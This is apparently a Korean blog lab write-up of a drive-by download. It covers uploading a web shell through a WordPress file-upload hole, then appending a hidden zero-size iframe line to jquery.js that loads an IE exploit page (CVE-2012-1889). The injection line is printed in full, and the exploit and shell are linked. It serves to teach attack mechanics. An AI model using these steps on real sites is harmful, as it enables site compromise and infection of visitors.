악성코드 유출사례 ( DBD 실습 )

2018. 6. 12. 15:56악성코드 분석


Drive By Download (DBD)

웹 사이트를 방문하거나 이메일 메시지를 볼 때 또는 유혹하는 팝업 윈도우를 클릭할 때 발생한다

해커들은 악의적인 코드를 숨기기 위해 다양한 기법들을 사용해서, 바이러스 검사 소프트웨어가 인식하지 못하게 한다. 

이 코드는 숨겨진 iframes에서 실행되며 탐지가 되지 않을 수 있다.



[ 실습 ]

InternetExplorer version6 & 8을 사용한다

희생자 서버 : winXP에서 APM을 통해 생성한 wordpress서버( 10.0.2.15 )

공격자 서버 : 칼리리눅스


[1] 실습을 위해 취약점이 존재하는 서버를 하나 생성한다 

- APM 설치 -> Apache & PHP & MySQL 모두 설치하는 통합 프로그램

- 먼저 서버의 DB에 wordpres DB를 생성한다


[2] 워드프레스 웹 사이트에 파일업로드 관련 취약점을 생성한다

- 인터넷 익스플로러에서 워드프레스 페이지에 접속 ( http://ServerIP/wordpress )

- 홈페이지에 파일 업로드 취약점을 생성하는 zip파일을 올린다 -> 희생자 서버는 현재 파일업로드 취약점을 가지고 있다


[3] 공격자서버에서 curl명령을 통해 악성파일을 업로드한다

공격자서버는 칼리리눅스를 사용했다 ( 참고 https://www.exploit-db.com/exploits/36979/ )


[4] 공격자 서버에 지정된 위치에 웹쉘 파일이 올라가졌고 해당 주소로 이동하면 웹쉘을 실행시킬 수 있다

아래는 칼리리눅스에서 희생자 서버의 페이지로 접속하여 웹쉘을 실행시킨 화면이다

( 웹쉘파일 : https://github.com/tennc/webshell/tree/master/php/b374k )


[5] 파일 수정 -> DBD구현

웹쉘을 통해서 서버 자원을 수정할 수 있는 권한을 얻었고 DBD루틴을 생성하자

아래 화면은 희생자 서버의 메인페이지(http:ServerIP/wordpress )의 소스코드이다

메인 페이지는 스크립트 파일인 jquery.js를 include하고 있다.

jquery.js파일을 수정하여서 DBD를 구현하자


웹셀을 통해서 jquery.js파일을 열엇고 마지막 부분에 코드를 추가한다

document.write("<iframe src=http://10.0.2.15/wp-includes/js/jquery/attack/re.html width=0 height=0> </iframe>");

jquery.js파일이 re.html 페이지를 참고하도록 한다 ( width와 height는 0이기 때문에 사용자의 화면에는 보이지 않는다 )


re.html페이지에는 아래 코드를 옮겨넣는다

( https://github.com/hakawati/script/blob/master/attack/CVE-2012-1889.html )


또한, 익스플로잇을 통해서 카카오톡pc버전 다운로드 페이지로 이동시키는 페이로드를 얻는다


웹쉘을 통해서 re.html을 작성한다


DBD설치는 모두 끝났다.

희생자서버의 메인페이지로 접속해보자



[ 결과 ]


경고창 두개를 확인할 수 있고, 카카오톡 pc버전이 다운로드 되어질 것이다

물론 화면에 보이지 않지만 다운로드로 인해서 로딩이 길어지는 것이 확인된다


경고창은 어디서 왔을까 ?

우선 DBD의 실행 절차를 확인해보자

제일 먼저 희생자서버의 메인페이지 ( http://10.0.2.15/wordpress  ) 로 이동한다

해당 페이지는 내부적으로 jquery.js 파일을 include한다

우리는 jquery.js파일을 수정하여서 jquery.js파일이 re.html파일을 자동으로 참고하도록 했다 ( ifram 사용 )


jquery.js 파일에서 re.html을 참고하고 malware Installed 경고창을 출력


re.html에서 카카오톡pc버전다운로드 페이로드를 실행하기 전에 attack start 경고창을 출력한다